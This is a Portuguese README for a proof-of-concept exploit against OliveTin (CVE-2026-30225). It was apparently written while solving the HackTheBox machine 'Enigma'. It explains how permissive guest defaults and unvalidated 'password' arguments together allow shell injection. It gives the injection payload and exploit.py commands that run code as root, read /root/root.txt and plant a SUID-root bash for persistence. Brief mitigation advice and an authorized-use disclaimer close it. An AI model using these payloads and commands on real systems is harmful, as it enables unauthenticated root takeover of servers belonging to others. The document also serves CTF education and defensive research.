
Prova de conceito de exploit para RCE não autenticado no OliveTin (CVE-2026-30225) por meio de padrões de convidado inseguros e tipos de argumento não validados, permitindo shell de root em instâncias vulneráveis.
PoC para escalonamento de privilégios / execução remota de código contra instâncias OliveTin que executam com os padrões de convidado fornecidos. Verificado contra OliveTin 3000.10.0 executando como root (HTB: Enigma), onde produz um shell root não autenticado.
⚠️ Somente testes autorizados. Publicado para educação, jogos de CTF e pesquisa defensiva. Usar isto contra sistemas que você não possui ou sem permissão escrita explícita para testar é ilegal. Sem garantias. Consulte LICENSE.
A configuração de exemplo / padrão do OliveTin inclui:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
Com isto, um chamador não autenticado (WhoAmI → "guest") pode invocar
StartActionAndWait e executar qualquer ação. As ações são executadas como o usuário do processo OliveTin
— frequentemente root.
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
Estes tipos não são validados de forma alguma. Qualquer ação cujo template shell:
interpola tal argumento é um ponto de injeção de shell. No Enigma, o
/etc/OliveTin/config.yaml ativo contém:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- não validado, fica dentro de -p'...'
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # fecha a aspa -p'…', encadeia
<cmd>, e # comenta o ' <db_name> > /opt/backups/backup.sql final.
A + B contra um OliveTin root = RCE não autenticado como root.
RestartActionRestartAction reconstrói a requisição interna sem carregar os cabeçalhos/cookies de autenticação
do chamador, então uma re-execução sempre resolve para o usuário convidado (bypass de ACL
quando o convidado é mais privilegiado que o chamador). Corrigido na 3000.11.1.
Em builds ≤ 3000.10.x o handler é adicionalmente meio-implementado (// FIXME)
e encaminha um BindingId vazio, então apenas retorna
action with ID "" not found e não pode re-executar nada. test-restart
relata o que o alvo realmente faz. No Enigma este caminho é um no-op — as questões
A + B são o que fornecem execução de código.
requests — pip install -r requirements.txt127.0.0.1:1337; faça túnel/pivot conforme
necessário — no Enigma apenas o uid 1000 pode alcançar a porta)../exploit.py -u http://127.0.0.1:1337 <modo>
modos:
check identidade, lista de ações, argumentos injetáveis, status CVE-2026-30225
test-restart sondar apenas o comportamento do RestartAction
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' agir como um usuário local autenticado (opcional)
# reconhecimento
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: executar um comando como root
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# soltar um bash SUID-root para um shell persistente
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# depois: /tmp/rb -p
StartActionAndWait retorna o stdout do comando em logEntry.output, então a
saída (flag, uid=0(root), …) volta diretamente na resposta.
check lista cada ação visível e sinaliza aquelas cujos argumentos usam um
tipo sem validação. Escolha uma, descubra como o argumento é citado em sua
string shell: (--quote single|double|none), então exploit --inject <arg> --cmd '<payload>'. Ações não exibidas em nenhum painel ainda podem ser executadas por ID
(--action <id>).
authRequireGuestsToLogin: true e remova exec das permissões de convidado/padrão;
dê a cada ACL o mínimo que ela precisa.user: onde suportado).type;
evite interpolar argumentos em strings shell: — prefira a forma argv exec:
e cite/valide rigorosamente.RestartAction do OliveTin executa ações como convidadointernal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)Pesquisa & PoC durante a exploração da HTB: Enigma (www-data → haris → OliveTin → root).